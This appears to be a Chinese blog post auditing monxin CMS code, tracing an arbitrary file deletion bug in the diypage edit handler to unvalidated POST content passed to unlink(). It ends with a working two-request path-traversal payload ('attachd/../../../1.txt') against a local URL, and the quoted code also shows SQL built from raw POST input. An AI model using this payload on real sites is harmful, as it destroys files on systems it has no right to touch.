monxin cms 任意文件删除漏洞

\program\diypage\receive\edit.php
首先看到一个unlink($path);
本来应该先看sql语句的,但知道是任意文件删除先跳过
删除语句,看看$path怎么传入的倒推上去


1.$path=$v;
2.foreach($old_imgs as $v)
3.$old_imgs=get_match_all($reg,$r['content']);




get_match_all是一个自定义函数
function get_match_all($reg,$str){
    preg_match_all($reg,$str,$r);
    //var_dump($r);
    return @$r[1];
}
preg_match_all是一个全局正则表达匹配函数
最后就是吧$str中所有匹配$reg的输出到$r数组中然后返回



返回上面接着看$r['content']是怎么来的
$r=$pdo->query($sql,2)->fetch(2);
再结合整个函数来看
if($pdo->exec($sql)){
        $reg='#<img.*src=&\#34;(program/'.self::$config['class_name'].'/attachd/.*)&\#34;.*>#iU';
        $new_imgs=get_match_all($reg,$_POST['content']);
        //var_dump($new_imgs);
        $old_imgs=get_match_all($reg,$r['content']);
        foreach($old_imgs as $v){
            if(!in_array($v,$new_imgs)){
                $sql="select count(id) as c from ".self::$table_pre."page where `content` like '%".$v."%' or `phone_content` like '%".$v."%'";
                $r=$pdo->query($sql,2)->fetch(2);
                if($r['c']==0){
                    $path=$v;
                    unlink($path);
                    reg_attachd_img("del",self::$config['class_name'],$path,$pdo);
                }
            }    
        }



从这两句就很明显这个函数是干嘛了
foreach($old_imgs as $v){
            if(!in_array($v,$new_imgs)

就是对旧的content和新的content进行比价把既不在新的content中也不再表中的数据给删了
但是新的content是POST传入且没有任何限制。所以导致任意文件删除。




接下来构造payload。这里遇到问题了,因为首先路径没有找对,然后要满足两个条件
1.新旧content中有不同
2.table中没有旧的数据。
然后发现自己之前没有看仔细
$sql="select count(id) as c from ".self::$table_pre."page where `content` like '%".$v."%' or `phone_content` like '%".$v."%'";
$v是旧的content遍历传入的这条语句是在表中旧content的数据。
$sql="update ".self::$table_pre."page set `type`='".$_POST['type']."',`title`='".$_POST['title']."',`content`='".$_POST['content']."',`link`='".$_POST['link']."',`time`='$time',`editor`='$editor' where `id`='$id'";
这里更新了一次content



所以整理一下思路就是先传入content,他会更新一次这里已经是新的content(这里填上要删除的目标)
第一次相当于覆盖原有的content让现在的content成为我们准备删除的目标,这次传入的content对于第二次来说就是久的content
然后再传入一个既不在现在的content里面的数据也不是表里面的数据,会删除我们上一次传入的目标。



最后没想到有个越权;看的别人构造的路径http://127.0.0.1/monxin3/receive.php?target=diypage::edit&id=121
第一次post提交content=<img src="program/diypage/attachd/../../../1.txt" alt="" />
第二次post提交content=<img src="program/diypage/attachd/../../../sssb.txt" alt="" />
成功删除


posted @ 2017-08-05 13:03  wangshu  阅读(604)  评论(0编辑  收藏  举报